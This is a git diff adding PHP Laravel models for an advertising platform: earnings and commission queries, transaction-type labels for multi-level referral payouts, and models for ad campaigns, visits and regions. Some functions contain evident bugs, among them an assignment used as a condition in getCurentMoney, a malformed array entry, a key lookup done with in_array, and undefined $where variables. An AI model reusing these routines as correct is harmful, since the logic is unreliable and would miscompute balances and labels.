+            'adverNum' => count($gguser), // 广告数量
+            'adverMoney' => round($ggsum,3), // 广告收益
+        ];
+        return $arr;
+    }
+
+    /**
+     * 获取当前账号余额
+     * @author lyh
+     * @date 2019/3/25
+     * @param int $type
+     * @description
+     */
+    private static function getCurentMoney(int $type)
+    {
+        $user = User::find(\Auth::id());
+        if ($type = 1) {
+            return $user->coin;
+        } else {
+            return $user->balance;
+        }
+    }
+
+    /**
+     * 获取金额
+     * @author lyh
+     * @date 2019/3/25
+     * @param $id
+     * @param array $array
+     * @return mixed
+     * @description
+     */
+    public static function getSumMoney($id, array $array, $where = [])
+    {
+        $res = AccountLog::whereUid($id)
+            ->whereStatus(1)
+            ->whereIn('type', $array);
+        if (!empty($where)) {
+            $res->where($where);
+        }
+        return $res->sum('money');
+    }
+
+    /**
+     * 统计次数
+     * @author lyh
+     * @date 2019/3/25
+     * @param $id
+     * @param array $array
+     * @return mixed
+     * @description
+     */
+    public static function getUv($id, array $array, $start_time, $end_time, $where = [])
+    {
+        $res = AccountLog::whereStatus(1)
+            ->whereIn('uid', $id)
+            ->whereIn('type', $array);
+        if (!empty($where)) {
+            $res->where($where);
+        }
+
+        if ($start_time != null && $end_time != null) {
+            $res->whereBetween('created_at', [$start_time, $end_time]);
+        }
+        return $res->count('id');
+    }
+
+    /**
+     * 业绩
+     * @author lyh
+     * @date 2019/3/26
+     * @param int $id
+     * @param array $type
+     * @param string $start
+     * @param string $end
+     * @description
+     */
+    public static function getBusinessGoal(int $id, array $type, $start, $end)
+    {
+        return AccountLog::whereStatus(1)
+            ->whereIn('uid', User::getAllInvite($id))
+            ->whereBetween('created_at', [$start, $end])
+            ->whereIn('type', $type)
+            ->sum('money');
+    }
+
+    /**
+     * 获取收益
+     * @author lyh
+     * @date 2019/3/27
+     * @param array $id
+     * @param array $type
+     * @param $start_time
+     * @param $end_time
+     * @return int
+     * @description
+     */
+    public static function getEarngings(array $id, array $type, $start_time, $end_time)
+    {
+        $res = AccountLog::whereStatus(1)
+            ->whereIn('uid', $id)
+            ->whereIn('type', $type);
+        if (!empty($where)) {
+            $res->where($where);
+        }
+
+        if ($start_time != null && $end_time != null) {
+            $res->whereBetween('created_at', [$start_time, $end_time]);
+        }
+        return $res->sum('money');
+    }
+
+    /**
+     * 获取带来收益用户数
+     * @author lyh
+     * @date 2019/3/27
+     * @param array $ids
+     * @param array $array
+     * @param $start_time
+     * @param $end_time
+     * @param array $ids1
+     * @return int
+     * @description
+     */
+    public static function getInviteUv(array $ids, array $array, $start_time, $end_time, array $ids1)
+    {
+        $res = AccountLog::whereStatus(1)
+            ->whereIn('uid', $ids)
+            ->groupBy('uid')
+            ->whereIn('type', $array);
+        if (!empty($where)) {
+            $res->where($where);
+        }
+
+        if ($start_time != null && $end_time != null) {
+            $res->whereBetween('created_at', [$start_time, $end_time]);
+        }
+        return $res->count('uid');
+    }
+
+    /**
+     * @author lyh
+     * @date 2019/4/12
+     * @param int $type
+     * @description
+     *  0-未知 1-提现 2-转账点币-收入 3-转账点币-支出 4-提现 5-佣金 6-广告业绩 7-升级交费 10-直推(广告代理费分佣) 11-间一(广告代理费分佣) 12-间二(广告代理费分佣)13-全局(广告代理费分佣)  20-直推(推广代理费分佣) 21-间一(推广代理费分佣) 22-间二(推广代理费分佣)23-全局(推广代理费分佣)30-点币转账-收入 31-点币转账-支出 32-点币购买 10? 对应订单类型
+     */
+    public static function getTypeMsg(int $type)
+    {
+        $msg = [
+            1 => '提现',
+            2 => '转账点币-收入',
+            3 => '转账点币-支出',
+            4 => '提现',
+            5 => '佣金',
+            6 => '广告业绩',
+            7 => '升级交费',
+            10 => '直推(广告代理费分佣)',
+            11 => '间一(广告代理费分佣)',
+            12 => '间二(广告代理费分佣)',
+            13 => '全局(广告代理费分佣)',
+            20 => '直推(推广代理费分佣)',
+            21 => '间一(推广代理费分佣)',
+            22 => '间二(推广代理费分佣)',
+            23 => '全局(推广代理费分佣)',
+            30 => '点币转账-收入',
+            31 => '点币转账-支出',
+            32 => '点币购买',
+            101 => '升级支付',
+            102 => '购买广告支付',
+            103 > '点币购买',
+        ];
+        if (in_array($type, $msg)) {
+            return $msg[$type];
+        }
+        return '';
+    }
+}

+ 49 - 0
app/Modes/AdminArea.php

@@ -0,0 +1,49 @@
+<?php
+
+namespace App\Modes;
+
+use Illuminate\Database\Eloquent\Model;
+
+
+/**
+ * App\Modes\AdminArea
+ *
+ * @property int $admin_id
+ * @property int $province 省份
+ * @property int $city 城市
+ * @property int $district 城区
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdminArea whereCreatedAt($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdminArea whereId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdminArea whereAdminId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdminArea whereProvince($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdminArea whereCity($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdminArea whereDistrict($value)
+ * @mixin \Eloquent
+ * @property string $content 分类名称
+ * @property int $type 1-实体 2-虚拟
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdminArea whereContent($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdminArea whereType($value)
+ */
+class AdminArea extends Model
+{
+    protected $table = 'admin_area';
+
+    public static function getAdminArea(){
+        $user=User::whereId(\Auth::id())->first();
+        $arr=[];
+        if($user->is_super==2){
+            $userarea=AdminArea::whereAdminId(\Auth::id())->first();
+            //查找当前区域的所有区域id
+            if(!empty($userarea)){
+                if(empty($userarea->district)&&!empty($userarea->city)){
+                    $arr['city']=$userarea->city;
+                }else{
+                    $arr['district']=$userarea->district;
+                }
+            }
+        }
+        return $arr;
+
+    }
+
+}

+ 46 - 0
app/Modes/AdverActivity.php

@@ -0,0 +1,46 @@
+<?php
+
+namespace App\Modes;
+
+use Carbon\Carbon;
+use Illuminate\Database\Eloquent\Model;
+
+
+/**
+ * App\Modes\AdverActivity
+ *
+ * @property int $id
+ * @property int $free_num 免费次数
+ * @property string $start_time 活动开始时间
+ * @property string|null $end_time 活动结束时间
+ * @property \Illuminate\Support\Carbon $created_at
+ * @property \Illuminate\Support\Carbon $updated_at
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivity newModelQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivity newQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivity query()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivity whereCreatedAt($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivity whereEndTime($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivity whereFreeNum($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivity whereId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivity whereStartTime($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivity whereUpdatedAt($value)
+ * @mixin \Eloquent
+ */
+class AdverActivity extends Model
+{
+    protected $table = 'adver_activity';
+
+    /**
+     * 获取当前活动id
+     * @author lyh
+     * @date 2019/4/22
+     * @return mixed
+     * @description
+     */
+    public static function getCurrentActivityId()
+    {
+        $now = Carbon::now();
+        $activity = AdverActivity::where('start_time', '<', $now)->where('end_time', '>', $now)->orderBy('created_at','desc')->first();
+        return $activity->id ?? 0;
+    }
+}

+ 34 - 0
app/Modes/AdverActivityLimit.php

@@ -0,0 +1,34 @@
+<?php
+
+namespace App\Modes;
+
+use Illuminate\Database\Eloquent\Model;
+
+/**
+ * App\Modes\AdverActivityLimit
+ *
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLimit newModelQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLimit newQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLimit query()
+ * @mixin \Eloquent
+ * @property int $id
+ * @property int $uid 用户id
+ * @property int $activity_id 活动id
+ * @property int $free_num 免费投放次数
+ * @property float $price 单价
+ * @property int $mininum_money 起投额度
+ * @property \Illuminate\Support\Carbon|null $created_at
+ * @property \Illuminate\Support\Carbon|null $updated_at
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLimit whereActivityId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLimit whereCreatedAt($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLimit whereFreeNum($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLimit whereId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLimit whereMininumMoney($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLimit wherePrice($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLimit whereUid($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLimit whereUpdatedAt($value)
+ */
+class AdverActivityLimit extends Model
+{
+    protected $table='adver_activity_limit';
+}

+ 38 - 0
app/Modes/AdverActivityLog.php

@@ -0,0 +1,38 @@
+<?php
+
+namespace App\Modes;
+
+use Illuminate\Database\Eloquent\Model;
+
+/**
+ * App\Modes\AdverActivityLog
+ *
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLog newModelQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLog newQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLog query()
+ * @mixin \Eloquent
+ * @property int $id
+ * @property int $uid 用户id
+ * @property int $activity_id 活动id
+ * @property float $total_price 0-免费 1-付款金额
+ * @property int $free_num 免费投放次数
+ * @property float $price 单价
+ * @property int $mininum_money 起投额度
+ * @property int $status 0-无效 1-支付中 2-审核中 3-通过 4-拒绝
+ * @property \Illuminate\Support\Carbon|null $created_at
+ * @property \Illuminate\Support\Carbon|null $updated_at
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLog whereActivityId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLog whereCreatedAt($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLog whereFreeNum($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLog whereId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLog whereMininumMoney($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLog wherePrice($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLog whereStatus($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLog whereTotalPrice($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLog whereUid($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverActivityLog whereUpdatedAt($value)
+ */
+class AdverActivityLog extends Model
+{
+    protected $table = 'adver_activity_log';
+}

+ 36 - 0
app/Modes/AdverAlarm.php

@@ -0,0 +1,36 @@
+<?php
+
+namespace App\Modes;
+
+use Illuminate\Database\Eloquent\Model;
+
+/**
+ * App\Modes\AdverAlarm
+ *
+ * @property int $id
+ * @property int|null $uid 会员ID
+ * @property int $province 省份(area.id)
+ * @property int $city 市(area.id)
+ * @property int $district 区(area.id)
+ * @property string $adver_id 广告id
+ * @property \Illuminate\Support\Carbon $created_at
+ * @property \Illuminate\Support\Carbon $updated_at
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverAlarm newModelQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverAlarm newQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverAlarm query()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverAlarm whereAdverId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverAlarm whereCity($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverAlarm whereCreatedAt($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverAlarm whereDistrict($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverAlarm whereId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverAlarm whereProvince($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverAlarm whereUid($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverAlarm whereUpdatedAt($value)
+ * @mixin \Eloquent
+ * @property string|null $remark
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverAlarm whereRemark($value)
+ */
+class AdverAlarm extends Model
+{
+    protected $table = 'adver_alarm';
+}

+ 44 - 0
app/Modes/AdverDeductLog.php

@@ -0,0 +1,44 @@
+<?php
+
+namespace App\Modes;
+
+use Illuminate\Database\Eloquent\Model;
+
+/**
+ * App\Modes\AdverDeductLog
+ *
+ * @property int $id
+ * @property int|null $uid 会员ID(桃牛用户id)
+ * @property int $shop_id 商家id
+ * @property string $ip 商家id
+ * @property int $industry 商家id
+ * @property string $adver_id 广告id
+ * @property string|null $remark 备注
+ * @property int $type 类型 1-用户商家 2-ip商家 3-用户行业 4-ip行业
+ * @property \Illuminate\Support\Carbon $created_at
+ * @property \Illuminate\Support\Carbon $updated_at
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverDeductLog newModelQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverDeductLog newQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverDeductLog query()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverDeductLog whereAdverId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverDeductLog whereCreatedAt($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverDeductLog whereId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverDeductLog whereIndustry($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverDeductLog whereIp($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverDeductLog whereRemark($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverDeductLog whereShopId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverDeductLog whereType($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverDeductLog whereUid($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverDeductLog whereUpdatedAt($value)
+ * @mixin \Eloquent
+ * @property int $is_free 是否免费 0-否 1-是
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverDeductLog whereIsFree($value)
+ * @property int $shop_master_id 商家id
+ * @property int $shop_slave_id 商家id
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverDeductLog whereShopMasterId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverDeductLog whereShopSlaveId($value)
+ */
+class AdverDeductLog extends Model
+{
+    protected $table = 'adver_deduct_log';
+}

+ 56 - 0
app/Modes/AdverVisit.php

@@ -0,0 +1,56 @@
+<?php
+
+namespace App\Modes;
+
+use Illuminate\Database\Eloquent\Model;
+
+/**
+ * App\Modes\AdverVisit
+ *
+ * @property int $id
+ * @property string $keyword 查询关键字
+ * @property string $industry 查询行业
+ * @property string $province 省
+ * @property string $city 市
+ * @property string $district 区
+ * @property int $num 获取广告数量
+ * @property int $shop_id 商家id
+ * @property int $shop_type 广告展示商家类型 1-主商家 2-子商家
+ * @property string $ip 来源IP地址
+ * @property \Illuminate\Support\Carbon $created_at
+ * @property \Illuminate\Support\Carbon $updated_at
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit newModelQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit newQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit query()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit whereCity($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit whereCreatedAt($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit whereDistrict($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit whereId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit whereIndustry($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit whereIp($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit whereKeyword($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit whereNum($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit whereProvince($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit whereShopId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit whereShopType($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit whereUpdatedAt($value)
+ * @mixin \Eloquent
+ * @property int $uid 当前桃牛登录用户
+ * @property int $shop_master_id 商家id
+ * @property int $shop_slave_id 商家id
+ * @property string $user_industry 桃牛请求用户的行业
+ * @property int $is_free 是否免费 0-否 1-是
+ * @property int $type 类型 // 1-点击、2-浏览、3-展现
+ * @property string|null $adver 展示广告
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit whereAdver($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit whereIsFree($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit whereShopMasterId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit whereShopSlaveId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit whereType($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit whereUid($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AdverVisit whereUserIndustry($value)
+ */
+class AdverVisit extends Model
+{
+    protected $table = 'adver_visit';
+}

+ 215 - 0
app/Modes/Advertising.php

@@ -0,0 +1,215 @@
+<?php
+
+namespace App\Modes;
+
+use Illuminate\Database\Eloquent\Model;
+
+
+/**
+ * App\Modes\Advertising
+ *
+ * @property int $id
+ * @property int $uid 用户id
+ * @property string $order_no 订单号
+ * @property string $title 广告标题
+ * @property string|null $image 主图
+ * @property int $scene 投放形式 1-三分之一屏幕 2-半屏幕 3-全屏
+ * @property string|null $image_group 图组
+ * @property int $industry 行业
+ * @property int $shop_cate 商家类型
+ * @property string|null $content 内容
+ * @property string $redirect 重定向url
+ * @property int $province 省份(area.id)
+ * @property int $city 市(area.id)
+ * @property int $district 区(area.id)
+ * @property string|null $start_time 有效时间段-开始
+ * @property string|null $end_time 有效时间段-结束
+ * @property string $area 区域范围
+ * @property int $total_num 总展现次数
+ * @property int $residue_num 剩余展现次数
+ * @property float $price 单价
+ * @property float $total_price 总价
+ * @property int $status 广告状态 1-待支付 2-待审核 3-发布中 4-屏蔽 5-拒绝 9-过期
+ * @property string $rejuse_remark 拒绝备注
+ * @property int $pay_type 支付方式 0-未支付 1-现金 2-支付宝 3-微信 4-银行转账 5-桃牛支付
+ * @property int $guarantee 是否平台担保:0-否 1-是
+ * @property string|null $guarantee_content 担保内容
+ * @property int $protocol_status 是否面签担保协议 0-否 1-已签
+ * @property int $bet_status 对赌状态 0-提交上级确认 1-通过 2-拒绝 3-城区运行商审核通过 4-城区运营商审核不通过 5-对赌生效 6-对赌失效 (审核通过才能通过给后台审核支付)
+ * @property string $bet_rejuse_remark 对赌拒绝备注
+ * @property int $bet_uid 对赌人
+ * @property float $bet_money 对赌金额
+ * @property string|null $bet_start_time 对赌开始时间
+ * @property string|null $bet_end_time 对赌结束时间
+ * @property int $is_company 是否企业广告 1-个人 2-企业
+ * @property string $company_name 企业名称
+ * @property string $compny_industry 行业
+ * @property string $license 营业执照
+ * @property string $license_number 营业执照号
+ * @property int $click_num 点击量
+ * @property int $show_num 展现次数
+ * @property int $browse_num 浏览量
+ * @property \Illuminate\Support\Carbon $created_at
+ * @property \Illuminate\Support\Carbon $updated_at
+ * @property-read \App\Modes\User $User
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising newModelQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising newQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising query()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereArea($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereBetEndTime($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereBetMoney($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereBetRejuseRemark($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereBetStartTime($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereBetStatus($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereBetUid($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereBrowseNum($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereCity($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereClickNum($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereCompanyName($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereCompnyIndustry($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereContent($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereCreatedAt($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereDistrict($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereEndTime($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereGuarantee($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereGuaranteeContent($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereImage($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereImageGroup($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereIndustry($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereIsCompany($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereLicense($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereLicenseNumber($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereOrderNo($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising wherePayType($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising wherePrice($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereProtocolStatus($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereProvince($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereRedirect($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereRejuseRemark($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereResidueNum($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereScene($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereShopCate($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereShowNum($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereStartTime($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereStatus($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereTitle($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereTotalNum($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereTotalPrice($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereUid($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereUpdatedAt($value)
+ * @mixin \Eloquent
+ * @property string $guarantee_url 担保协议文件路径
+ * @property string $company_industry 行业
+ * @property-read \App\Modes\Industry $Industry
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereCompanyIndustry($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereGuaranteeUrl($value)
+ * @property int $activity_id 活动id 0-没有参加活动 n-zx_adver_activity.id
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereActivityId($value)
+ * @property int $is_update 是否更新 0-否 1-是
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Advertising whereIsUpdate($value)
+ */
+class Advertising extends Model
+{
+    protected $table = 'advertising';
+
+    public static function getList($where = [], $field = [], $userField = [], $param = [])
+    {
+        // 合并查询字段
+        $select = ['id', 'uid', 'title', 'image', 'content', 'bet_status', 'guarantee', 'status', 'created_at','end_time','province','city','district'];
+        $select = array_merge($select, $field);
+
+        // 合并查询字段
+        $userSelect = ['id', 'nick_name'];
+        $userSelect = array_merge($userSelect, $userField);
+
+
+        $res = Advertising::where($where)
+            ->with(['User' => function ($query) use ($userSelect) {
+                $query->select($userSelect);
+            }])
+            ->orderByDesc('id')
+            ->groupBy('id')
+            ->select($select);
+        if (!empty($param['type'])) {
+            if($param['type']==4){
+                $res->whereIn('status',[2,3,4,5,6,9]);
+                $res->where('end_time','<',date('Y-m-d H:i:s'));
+            }else{
+                $res->where('status', $param['type']);
+                $res->where('end_time','>',date('Y-m-d H:i:s'));
+            }
+
+        }else{
+            $res->whereIn('status',[2,3,4,5,6,9]);
+        }
+
+        $r=$res->paginate(perPage());
+
+        if($r->isNotEmpty()){
+            collect($r->items())->each(function ($item, $key) {
+                if($item->end_time<date('Y-m-d H:i:S')){
+                    $item->status=9;
+                }
+                $allowarea=Proxy::whereProvince($item->province)->whereUid(0)->where('city',$item->city)->where('district',$item->district)->whereStatus(1)->count();
+                $item->allowdArea=$allowarea;//0地区冻结 >0未冻结
+                if($item->guarantee==1){
+                    $item->bet=\DB::table('advertising_bet')->where('advertising_id','=',$item->id)->first();
+                }
+            });
+        }
+        return $r;
+
+    }
+
+    /**
+     * 更新广告位状态
+     * @author lyh
+     * @date 2019/3/22
+     * @date 2019/3/22
+     * @param $out_trade_no
+     * @param $price
+     * @param $status
+     * @param $payType
+     * @description
+     */
+    public static function updateAdver($out_trade_no)
+    {
+        $adver = Advertising::whereOrderNo($out_trade_no)->first();
+        if (empty($adver)) {
+            ErrorLog::saveMsg("广告位订单号[{$out_trade_no}]不存在");
+        }
+       /* if ($adver->status!=1) {
+            return;
+        }*/
+        $adverUpdate = Advertising::whereOrderNo($out_trade_no)->update([
+            'status' => 2
+        ]);
+        // 生成流水日志
+        AccountLog::saveData(6, '-'.$adver->total_price, 0, 2, 0, "购买广告位花费".$adver->total_price.'元');
+        if (empty($adverUpdate)) {
+            ErrorLog::saveMsg("广告位订单号[{$out_trade_no}]状态更新为待审核失败");
+        }
+
+        // 修改活动记录状态
+        if ($adver->activity_id) {
+            AdverActivityLog::whereId($adver->activity_id)->update(['status' => 2]);
+        }
+    }
+
+
+    /**
+     * @author lyh
+     * @date 2019/3/21
+     * @description
+     */
+    public function User()
+    {
+        return $this->hasOne('App\Modes\User', 'id', 'uid');
+    }
+
+    public function Industry()
+    {
+        return $this->hasOne('App\Modes\Industry', 'id', 'company_industry');
+    }
+}

+ 132 - 0
app/Modes/Area.php

@@ -0,0 +1,132 @@
+<?php
+
+namespace App\Modes;
+
+use Illuminate\Database\Eloquent\Model;
+use Illuminate\Support\Facades\Cache;
+
+
+/**
+ * App\Modes\Area
+ *
+ * @property int $id
+ * @property string $name 区域名称
+ * @property string $short_name 区域简称
+ * @property int $code 区域代码
+ * @property int $parent_code 上级城市代码
+ * @property int $level 区域层级:1-省,2-市,3-区/县,4-乡镇/街道
+ * @property int $status 状态:1-正常,2-失效
+ * @property \Illuminate\Support\Carbon $created_at
+ * @property \Illuminate\Support\Carbon $updated_at
+ * @property-read \Illuminate\Database\Eloquent\Collection|\App\Modes\UserAddress[] $UserAddress
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Area newModelQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Area newQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Area query()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Area whereCode($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\Area whereCreatedAt($value)
